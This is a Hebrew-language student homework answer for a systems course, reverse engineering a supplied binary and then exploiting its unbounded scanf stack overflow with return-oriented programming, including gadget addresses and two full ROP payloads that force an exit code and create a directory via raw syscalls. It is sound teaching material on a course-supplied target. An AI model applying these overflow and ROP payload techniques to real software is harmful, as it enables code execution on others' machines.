את"מ תרגיל בית 3 – חלק יבש – אריאל שלם ורועי טייכמן

מבוא

בעודכם מסתובבים במסדרונות בניין טאוב, בשביל להגיע להרצאה באת"מ, מצאתם על הרצפה דיסק-און-קי חשוד. על הדיסק-און-קי מוטבע הלוגו של המוסד ובצידו השני חרוטה כתובת בשפה זרה. בתוך הדיסק-און-אי נמצא קובץ ההרצה verySecretProgram (המוצרף לכם לתרגיל). מטרתכם בתרגיל בית זה היא לפענח מה אותה תוכנה מסתורית עושה. מומלץ להיעזר בכלים עליהם למדנו בקורס (objdump, readelf וכו').

שימו לב: שני חלקי התרגיל מבוססים על אותו קובץ verySecretProgram המצורף לתרגיל. אל דאגה הקובץ לא באמת יהרוס לכם את המחשב :)

חלק א' – **Reverse Engenering** (35 נקודות- 5 כל סעיף)

בחלק זה נסתכל ונחקור את התוכנית המקומפלת וננסה להבין מה היא עושה.

1. מה גודל ה Section header table? 64*29=1856 bytes

2. כמה program headers מוגדרים בקובץ? 9

3. עבור כל program header מסוג LOAD, הכניסו את נתוניו לטבלה הבאה (יתכנו שורות ריקות):

הרשאות (סמנו את ההרשאות)	גודל בזיכרון	גדול בקובץ	כתבות בזיכרון	מיקום בקובץ (**offset** בבתים)
R X	0X20E0	0X20E0	0x400000	0x0
R W	0x240	0x23A	0x602E10	0x2E10

4. מהו ערך הבית שנמצא בכתובת `0x4015f8`? 42

```
4015f7:       8d 42 01
```

5. להלן הגדרה של משתנה שנמצא בכתובת `0x603040` השלימו את ערך האתחול החסר:

```
unsigned long hash = 0x939F103
```

השאלה ממשיכה בעמוד הבא

6. לאחר שאספתם בסעיפים הקודמים מספר נתונים יבשים על קובץ ההרצה, אתם כעת מעוניינים להבין ממש מה התוכנית שממנה נוצר קובץ ההרצה.

לצורך כך חבר שלכם שבמקרה עובד במחלקה הסודית להגנת הטכניון, השתמש ב-Decompiler המשוכלל שלו, אך לרוע מזלכם חלקים מן התוכנית לא הצליחו להשתחזר מפאת סודיות יתר. מלאו את החלקים החסרים בקטע הקוד הבא.

<u>הערות :</u>

ניתן להשתמש בשם של המשתנה מהסעיף הקודם.

שימו לב שהקוד קומפל ע"י קומפיילר לכן נמצאות בו כל מיני אופטימיזציות, לדוגמא, במקום לקרוא לפונקציה checkPasswordAux, הקומפיילר עשה לה inline.

בנוסף הקומפיילר מוסיף קוד שאינו מופיע בקוד c, לדוגמא קוד שמגן מחריגת חוצץ, התעלמו ממנו בתרגיל.

```
1.  int checkPasswordAux(char* s){
2.      int sum = 0;
3.      while(*s!=0){
4.          char c = *s;
5.          if(c-'a'> 25){
6.              return 100;
7.          }
8.          while(c){
9.              sum += c % 2 ;
10.             c >> 1;
11.         }
12.         s++;
13.         }
14.      return sum;
15.  }
16.  bool checkPassword(char* s){
17.     char* copy = s;
18.     if(checkPasswordAux(s) > 25){
19.         return 0;
20.     }
21.     s = copy;
22.     unsigned long y = 0;
23.     While(*s)
24.         unsigned long x = *s -’a’;
25.         if(x>25){
26.             return 0;
27.         }
28.         if(y > ~x ){
29.             return 0;
30.         }
31.         y = x+26y ;
32.         s++;
33.     }
34.     return (hash==y);
35. }
```

7. מהי הסיסמה הנכונה שתגרום לפונקציה checkPassword להחזיר true:

חלק ב' – חלק לח. **Binary Exploitation** (65 נקודות)

בחלק זה ננצל חולשה (פרצת אבטחה) בתוכנית בכדי לגרום לה להריץ קוד לבחירתנו על המחשב של המשתמש. נשתמש בטכניקה לניצול חולשות מסוג **ROP**. להלן הגדרת פונקציית main:

```
int main(){
    char password[16];
    printf("enter your password\n");
    scanf("%s", password);
    if(checkPassword(password)){
        printf("Good to see you back agent R. As you know your next mission will take place in %s. See you there. \n", password);
        return 0;
    }
    printf("wrong password! After 3 wrong passwords this program will destroy the computer. Good luck. \n");
    return -1;
}
```

1) הסבירו בקצרה מה הבעיה בקריאה של התוכנית ל scanf? (5 נקודות)

התוכנית מקצה **Local** על המחסנית בגודל 16 בתים, אשר נמצא מתחת לכתובת החזרה שנדחפה למחסנית. הבעיה בקריאה ל-**scanf** הינה שהיא פונקציה שלא מוגבלת בגודל הכתיבה שלה, כלומר ה-**buffer** לא מוגבל. מכיוון שהכתיבה במחסנית מתבצעת מהכתובות הנמוכות לגבוהות, אם נכתוב יותר מ-16 בתים של סיסמה אז אנחנו נדרוס מידע שלא שלנו, לדוגמה את ה-**return address**.

במקרה הזדוני נוכל אפילו לכתוב בו כתובת של תוכנית זדונית שתרוץ על המחשב כשיתבצע **return** בפונקציה.

2) משתמש הכניס את הקלט הבא:

```
supercalifragilisticexpialidocious
```

לאיזה כתובת תקפוץ פקודת ret שמבצעת הפונקציה main בסופה? (5 נקודת)
רמז: לפתרון הסעיף מומלץ להסתכל בקוד אסמבלי של main או להשתמש ב־gdb.

0X6F69636F 64696C61

השאלה ממשיכה בעמוד הבא

3) בכל שורה בטבלה הבאה מופיע קוד קצר בעמודה השמאלית. עבור כל קטע קוד מלאו:

a. את קידוד הפקודות לפי סדר הופעתן, משמאל לימין.

b. כתובת בזיכרון התוכנית שבו נמצא קידוד הפקדות. אם הקידוד מופיע בכמה אזורי זיכרון בחרו באזור בעל הרשאות הרצה.

רמז: הכתובת בה מופיע הקידוד יכולה להיות שילוב של חלקים מקידוד של פקודות אחרות. לכן בסעיף זה מומלץ <u>שלא</u> להיעזר ב objdump.

ראו דוגמה בשורה הראשונה. (10 נקודות)

פקודות	קידוד	כתובת	**סימון שלנו (להמשך)**

`pop %r13`
`pop %rdi`
`ret`
	41 5d 5f c3	0x401b6b	A1

`syscall`	0f 05	0x401178	A3
`pop %rax` `ret`	58 c3	0x400e71	A2

`pop %rsi`
`pop %r15`
`ret`
	5e 41 5f c3	0x401da1	A4

`add %r15, %rdi` `ret`	4c 01 ff c3	0x4008f5	A5

`push %rbp`
`mov %rsp, %rbp`
`call *%rax`
	55 48 89 e5 ff d0	0x400e1e	A6

4) תנו דוגמא לקלט שיגרום לתוכנית לצאת עם קוד יציאה 0x48. להצגת קוד היציאה של התוכנית האחרונה שהרצתם הריצו את הפקודה "`echo $?`". צרפו צילום מסך של ערך היציאה. לכתיבת ערכים בינארים בתשובה שלכם השתמשו בפורמט \xHH. לדוגמה, אם הקלט הוא האות a ואחריה בית עם ערך 0x80 שאחריו 0x90, כתבו "a\x80\x90". אין חשיבות לפלט שיודפס לגבי נכונות הסיסמא. (15 נקודות)

abcdabcdabcdabcdabcdabcd\x6b\x1b\x40\x00\x00\x00\x00\x00abcdabcd\x48\x00\x00\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x00

ערך החזרה הוא 0x48=72, להלן:

```
ariel@DESKTOP-F7FBALM:~/Atam/HW3$ hexdump -C intputP
00000000  61 62 63 64 61 62 63 64  61 62 63 64 61 62 63 64  |abcdabcdabcdabcd|
00000010  61 62 63 64 61 62 63 64  6b 1b 40 00 00 00 00 00  |abcdabcdk.@.....|
00000020  61 62 63 64 61 62 63 64  48 00 00 00 00 00 00 00  |abcdabcdH.......|
00000030  71 0e 40 00 00 00 00 00  3c 00 00 00 00 00 00 00  |q.@.....<.......|
00000040  78 11 40 00 00 00 00 00                           |x.@.....|
00000048
ariel@DESKTOP-F7FBALM:~/Atam/HW3$ ./verySecretProgram <intputP
enter your password
wrong password! After 3 wrong passwords this program will destroy the computer. Good luck.
ariel@DESKTOP-F7FBALM:~/Atam/HW3$ echo $?
72
```

להלן הסבר על הרכבת הסיסמה:

#regular_pass: abcd abcd abcd abcd #rbx: abcd abcd
#address_A1: \x6b\x1b\x40\x00 \x00\x00\x00\x00

#r13: abcd abcd #rdi: \x48\x00\x00\x00 \x00\x00\x00\x00
#address_A2: \x71\x0e\x40\x00 \x00\x00\x00\x00

#rax: \x3c\x00\x00\x00 \x00\x00\x00\x00
#address_A3_syscall: \x78\x11\x40\x00 \x00\x00\x00\x00

5) תנו דוגמא לקלט שיגרום לתוכנית ליצור תיקייה בשם `my_first_rop` עם הרשאות 0755 (אוקטלי) תחת התיקייה הנוכחית. הניחו שלא קיים קובץ או תיקייה בשם זה תחת התיקייה הנוכחית ושיש הרשאות ליצור תיקייה זו. אין חשיבות לדרך היציאה מהתוכנית ואין חשיבות לפלט שמודפס לגבי נכונות הסיסמה. בפרט, זה בסדר שהתוכנית תסתיים כתוצאה מsegfault או סיגנל אחר לאחר יצירת התיקייה. (30 נקודות)

abcdabcdabcdabcdabcdabcd\x6d\x1b\x40\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\x1f\x0e\x40\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x00\x00\x00\x1e\x0e\x40\x00\x00\x00\x00\x00\xf5\x08\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x00\x00\x00\xed\x01\x00\x00\x00\x00\x00\x00abcdabcd\x71\x0e\x40\x00\x00\x00\x00\x00\x53\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x00my_first_rop\x00

להלן הסבר על הרכבת הסיסמה:

```
#regular_pass abcd abcd abcd abcd    #rbx abcd abcd
#address_A1+2: \x6d\x1b\x40\x00 \x00\x00\x00\x00

#offset:  \x50\x00\x00\x00  \x00\x00\x00\x00
#address_A2: \x71\x0e\x40\x00 \x00\x00\x00\x00

#address_A2(for rax): \x71\x0e\x40\x00 \x00\x00\x00\x00

#address_A6+1:  \x1f\x0e\x40\x00 \x00\x00\x00\x00
#address_A2(for cleaning): \x71\x0e\x40\x00 \x00\x00\x00\x00

#address_A4:  \xa1\x1d\x40\x00 \x00\x00\x00\x00
# address_A6:  \x1e\x0e\x40\x00 \x00\x00\x00\x00
#address_A5:   \xf5\x08\x40\x00 \x00\x00\x00\x00

# address_A4:  \xa1\x1d\x40\x00 \x00\x00\x00\x00

#rsi \xed\x01\x00\x00 \x00\x00\x00\x00   #r15: abcd abcd
#address_A2: \x71\x0e\x40\x00 \x00\x00\x00\x00

#rax: \x53\x00\x00\x00 \x00\x00\x00\x00
#address_A3_syscall: \x78\x11\x40\x00 \x00\x00\x00\x00

#name: my_first_rop\x00
```